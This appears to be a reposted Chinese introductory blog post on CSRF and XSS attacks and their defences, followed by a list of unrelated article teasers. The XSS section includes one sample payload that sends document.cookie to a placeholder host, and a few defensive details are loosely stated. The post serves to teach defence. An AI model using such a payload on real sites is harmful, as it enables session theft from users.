网站攻击中的csrf和xss

news/2024/5/1 16:09:39/文章来源:https://blog.csdn.net/weixin_33853794/article/details/89009543

CSRF、XSS何方神圣

CSRF(Cross-site request forgery)

中文名字是跨站请求伪造,做的事情就是在别的网站,以你的名义对你登陆认      证过的网站搞事情。

XSS(Cross-site scripting)

中文名字是跨站脚本,做的事情就是在有漏洞的网站,写个dom攻击,或者存个另类的数据到网站数据库,对使用网站的用户造成困扰,属于站内攻击。

它们是怎么令你流泪的

CSRF攻击姿势

在B网站默默写个可访问A网站(用户登陆过了,客户端已经存储cookie)的链接或者脚本。触发方式有用户不小心触发(比如:点击某个按钮啥的),或者用iframe偷偷访问,这时候会带A网站的cookie去请求A服务器,因为用户已经登陆过。如果服务器没有做任何防护,那B网站就开心了,能做的事情就有点多了,比如想去获取一下你的好友列表信息,然后发垃圾邮箱啥的,再比如就是直接转账,把你钱都卷跑。。如果你做了防护,B网站会尝试投你所好,继续攻击,直到没法子。

XSS攻击姿势

1. 检查提交表单是否对用户输入有限制,如果限制没做好,那攻击者可以写入一段脚本、sql语句、包含html标签的内容。
设想录入文章的场景,攻击者写入的文章被用户看到,可发生的事情有:执行js脚本(<script>window.open("xxx?cookie_hh="+document.cookie</script>)完了,用户的cookie要丢了,有了用户cookie,能做的事情就有点多了;或者可能会攻击数据库,操作数据,考验你的数据库承受能力。
2. 显示内容根据url参数是否有关,进行参数攻击。

怎么保住自己的江山

CSRF预防措施

1. 使用cookie的httpOnly,设置为true,就不能通过document.cookie
方式获取用户cookie。
2. 使用token,对每个请求都设置一个token,尤其是post, delete等危险
method,比如django就使用了csrf_token机制预防csrf。
3. 检查reffer,检测链接访问来源。
4. 保证自己站内没有xss,这样用户信息不易丢失,不给csrf假冒用户的机
会。
5. 使用X-iframe-options头部控制别的网站用iframe嵌入你的内容。
6. 利用框架自身特点,比如django的csrf_token。

XSS预防措施

1. 对用户可输入信息的地方保持警惕,做好防护,比如转义什么的。
2. 强化数据库,存入数据之前,考虑到安全性。
3. url中的参数考虑下encode
4. 利用框架本身功能,比如django默认会处理特殊字符

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_722801.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大型网站系统架构的演化

2019独角兽企业重金招聘Python工程师标准>>> 前言 一个成熟的大型网站&#xff08;如淘宝、京东等&#xff09;的系统架构并不是开始设计就具备完整的高性能、高可用、安全等特性&#xff0c;它总是随着用户量的增加&#xff0c;业务功能的扩展逐渐演变完善的&#…

Web网站如何查看搜索引擎蜘蛛爬虫的行为

简介本文给大家介绍Linux/Nginx如何查看搜索引擎蜘蛛爬虫的行为&#xff0c;清楚蜘蛛的爬行情况对做SEO优化有很大的帮助。需要的朋友通过本篇文章学习下吧摘要做好网站SEO优化的第一步就是首先让蜘蛛爬虫经常来你的网站进行光顾&#xff0c;下面的Linux命令可以让你清楚的知道…

利用客户端缓存对网站进行优化

很多人首先会想从服务器缓存方面着手对程序进行优化,许多不同的服务器缓存方式都有他们自己的特点,像我曾经参与的一些项目中,根据缓存的命中率不同使用过 Com/Enterprise Libiary Caching/Windows服务,静态文件等方式的服务器端缓存和 HTTP Compression技术,但客户端缓存往往却…

nginx 强制跳转https_通过HTTPS提高你的网站安全性

HTTPS简介HTTPS(Hyper Text Transfer Protocol Over Secure Socket Layer)是以安全为目标的HTTP通道。简单来说&#xff0c;通过HTTP协议访问的网站&#xff0c;在登陆和数据传输过程中所有信息都是没有加密的&#xff0c;黑客很容易就能获取用户访问网站的所有信息。而HTTPS则…

dux社会化分享代码_第五节.外贸网站Google排名优化基本要素分析- 外贸建站前必做的SEO优化分享...

1.分析网站SEO优化排名的因素:外贸老船长经过多年外贸网站SEO优化经验&#xff0c;总结出了影响Google排名的几大因素&#xff0c;概括如下&#xff1a;页面链接指标与特定页面相关的链接指标&#xff0c;如链接数量&#xff0c;链接的相关性&#xff0c;页面链接的可信度和权威…

iis php 无法访问此网站_小技巧:使用appcmd来自动化部署IIS网站

在工作中&#xff0c;时常会花费宝贵的时间做重复的事情&#xff0c;比如使用IIS图形界面部署一个新网站。今天我们就来聊一下如何使用appcmd这一命令行工具来简化这个工作。appcmd简介appcmd&#xff0c;是一个微软操作系统自带的命令行工具&#xff0c;位于系统的C:windowssy…

买空间做网站_如何去做好网站推广

想要通过网站来做推广&#xff0c;首先你要有一个明确的目标。有的网站做推广是要流量&#xff0c;有的网站做推广是要下载量&#xff0c;有的网站做推广是要咨询量。不同的目标都有不同的推广方式。用网站做推广的实施是通过各种具体的方法来实现的&#xff0c;所有用网站做推…

读书笔记ZBLOG网站是否可以打造成10万IP的流量站?[图]

2019独角兽企业重金招聘Python工程师标准>>> 博客是靠博主一点点积累起来的个人网站&#xff0c;主要是记录作者的一些心得和学习笔记&#xff0c;或者写一个主题。但是纵观国内的博客网站&#xff0c;没有发现一个独立博客是做到了10万IP的&#xff0c;这说明了什么…

网站301跳转

源码&#xff1a; protected void Application_BeginRequest(object sender, EventArgs e){HttpApplication application sender as HttpApplication;HttpContext context application.Context;HttpRequest request context.Request;HttpResponse response context.Respons…

4个珍藏已久的宝藏资源网站,提高你的工作效率

相信在日常办公中我们都有几个用了很久的资源网站&#xff0c;如果你不舍得分享出来&#xff0c;那么&#xff0c;小编就先一步啦&#xff0c;下面小编将分享几个珍藏了很久的资源网站&#xff0c;都是陪伴了小编好几年的网站&#xff0c;如果你有更好的分享可以评论区留言哦&a…

如何实现分享网站文章到微信朋友圈时显示指定缩略图或LOGO

当下朋友圈很火&#xff0c;很多企业都将微信朋友圈作为品牌传播的途径&#xff0c;经常会发一些精彩的文章到微信朋友圈供大家自发传播&#xff0c;这样的想法很好&#xff0c;对于优质的内容&#xff0c;网友们也乐于转发与朋友们分享&#xff0c;对品牌宣传与推广确实是有好…

VS2012 + IIS Web 发布(三)——网站发布

VS2012 IIS Web 发布(三)——网站发布 前面的工作如果都做好了&#xff0c;接下了就是真真正正的网站发布了&#xff0c;打开IIS 界面&#xff0c;具体 操作步骤如下&#xff1a; 一、基本的网站添加&#xff1a;1、通过》控制面板》管理工具》启动 ‘Internet信息服务(IIS)管…

ISS 网站发布没数据解决

ISS 网站发布没数据解决 一、背景&#xff1a; ITOO基础部“机构管理”系统在本地电脑发布成功&#xff0c;但是服务器上一直发布出来没 有数据。 以菜鸟的身份家人 ITOO 4.0系统的学习&#xff0c;负责基础部的“机构管理”模块&#xff0c;有一项 任务就是 checkout 机构管…

网站系统的“用户登录”

网站系统的“用户登录” 前言 现在的系统&#xff0c;几乎所有的网站&#xff0c;都有自己的数据库&#xff0c;有自己的VIP区&#xff0c;为了更好的服务 和方便用户&#xff0c;同时也是为了网站本身更好的管理&#xff0c;都有用户模块区。 用户在网站可以注册自己的信息&am…

网站系统---数据库的设计

网站系统---数据库的设计 前言&#xff1a; 每一个完整或系统的的设计初衷&#xff0c;都是为了数据更好的管理和查询&#xff0c;数据库的设计也就是极其的显著和重要。下面是就以例子网上商城的数据库设计聊一聊数据库的设计了。 1 表与表之间视图&#xff1a; 2 数据库设计:…

【网站高性能 1】----机械硬盘 vs 固态硬盘

机械硬盘 vs 固态硬盘前言&#xff1a;今天下午小编看Mybatis视频&#xff0c;敲代码中真的是就快睡着了&#xff0c;就离开座位出去想走走&#xff0c;就去了图书馆&#xff0c;也就是随性拿起一本书《大型网站技术机构》&#xff0c;也即是随性的想随便的翻一翻&#xff0c;可…

【网站高性能 2】----RAID vs HDFS

RAID vs HDFS一&#xff0c;定义&#xff1a;RAID&#xff1a;全称是&#xff08;Redundant Arrays of independent Disks,DAID&#xff09;叫磁盘阵列&#xff1a;有独立磁盘构成的具有冗余能力的阵列的意思。raid通俗的说就是有很多价格较合理的磁盘&#xff0c;组成一个容…

【网站高性能 3】----B+树 vs LSM树

B树 vs LSM树 前言&#xff1a; 在前面我们介绍到&#xff0c;性能优化之存储性能优化有将&#xff08;1&#xff09;机械硬盘改成固态硬盘&#xff0c;&#xff08;2&#xff09;磁盘阵列方式RAID vs HDFS &#xff0c;今天小编和大家分享一个在存储过程&#xff0c;从数据…

【网站高性能 4】----网站本身测试(一)

【网站高性能 4】----网站本身测试指标&#xff08;一&#xff09; 一个好的网站&#xff0c;我们总会有看起来舒服&#xff0c;浏览起来速度给力&#xff0c;这是我们最基本的评判&#xff0c;那么从专业的角度来说&#xff0c;到底有哪些指标呢&#xff1f; 今天小编就带你一…

【网站高性能 5】----网站本身测试(二)

【网站高性能 5】----网站本身测试&#xff08;二&#xff09; 前言&#xff1a; 一个网站好不好&#xff0c;从不同的人看起来是不同的。比如我现在是用户&#xff0c;评价一个网站好坏那就很简单&#xff0c;每一次的点击打开&#xff0c;页面反映的快慢就反应出网站的好坏&a…